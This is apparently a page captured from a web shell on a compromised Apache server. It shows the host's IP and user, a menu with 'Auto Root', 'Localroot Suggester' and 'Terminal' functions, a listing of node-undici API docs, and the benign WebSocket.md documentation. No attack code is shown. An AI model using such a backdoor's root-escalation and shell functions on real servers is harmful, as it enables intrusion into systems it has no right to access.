Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
node-undici /
api /
Delete
Unzip
Name
Size
Permission
Date
Action
Agent.md
2.73
KB
-rw-r--r--
2023-10-11 19:12
BalancedPool.md
2.75
KB
-rw-r--r--
2023-10-11 19:12
CacheStorage.md
1.05
KB
-rw-r--r--
2023-10-11 19:12
Client.md.gz
3.4
KB
-rw-r--r--
2023-10-11 19:12
Connector.md
3.38
KB
-rw-r--r--
2023-10-11 19:12
ContentType.md
1.1
KB
-rw-r--r--
2023-10-11 19:12
Cookies.md
2
KB
-rw-r--r--
2023-10-11 19:12
DiagnosticsChannel.md.gz
1.38
KB
-rw-r--r--
2023-10-11 19:12
DispatchInterceptor.md
1.49
KB
-rw-r--r--
2023-10-11 19:12
Dispatcher.md.gz
6.55
KB
-rw-r--r--
2023-10-11 19:12
Errors.md
3.48
KB
-rw-r--r--
2023-10-11 19:12
Fetch.md
1.17
KB
-rw-r--r--
2023-10-11 19:12
MockAgent.md.gz
2.97
KB
-rw-r--r--
2023-10-11 19:12
MockClient.md
1.97
KB
-rw-r--r--
2023-10-11 19:12
MockErrors.md
595
B
-rw-r--r--
2023-10-11 19:12
MockPool.md.gz
2.95
KB
-rw-r--r--
2023-10-11 19:12
Pool.md
2.7
KB
-rw-r--r--
2023-10-11 19:12
PoolStats.md
775
B
-rw-r--r--
2023-10-11 19:12
ProxyAgent.md
3.72
KB
-rw-r--r--
2023-10-11 19:12
WebSocket.md
1.46
KB
-rw-r--r--
2023-10-11 19:12
api-lifecycle.md.gz
2.62
KB
-rw-r--r--
2023-10-11 19:12
Save
Rename
# Class: WebSocket > ⚠️ Warning: the WebSocket API is experimental. Extends: [`EventTarget`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget) The WebSocket object provides a way to manage a WebSocket connection to a server, allowing bidirectional communication. The API follows the [WebSocket spec](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) and [RFC 6455](https://datatracker.ietf.org/doc/html/rfc6455). ## `new WebSocket(url[, protocol])` Arguments: * **url** `URL | string` - The url's protocol *must* be `ws` or `wss`. * **protocol** `string | string[] | WebSocketInit` (optional) - Subprotocol(s) to request the server use, or a [`Dispatcher`](./Dispatcher.md). ### Example: This example will not work in browsers or other platforms that don't allow passing an object. ```mjs import { WebSocket, ProxyAgent } from 'undici' const proxyAgent = new ProxyAgent('my.proxy.server') const ws = new WebSocket('wss://echo.websocket.events', { dispatcher: proxyAgent, protocols: ['echo', 'chat'] }) ``` If you do not need a custom Dispatcher, it's recommended to use the following pattern: ```mjs import { WebSocket } from 'undici' const ws = new WebSocket('wss://echo.websocket.events', ['echo', 'chat']) ``` ## Read More - [MDN - WebSocket](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) - [The WebSocket Specification](https://www.rfc-editor.org/rfc/rfc6455) - [The WHATWG WebSocket Specification](https://websockets.spec.whatwg.org/)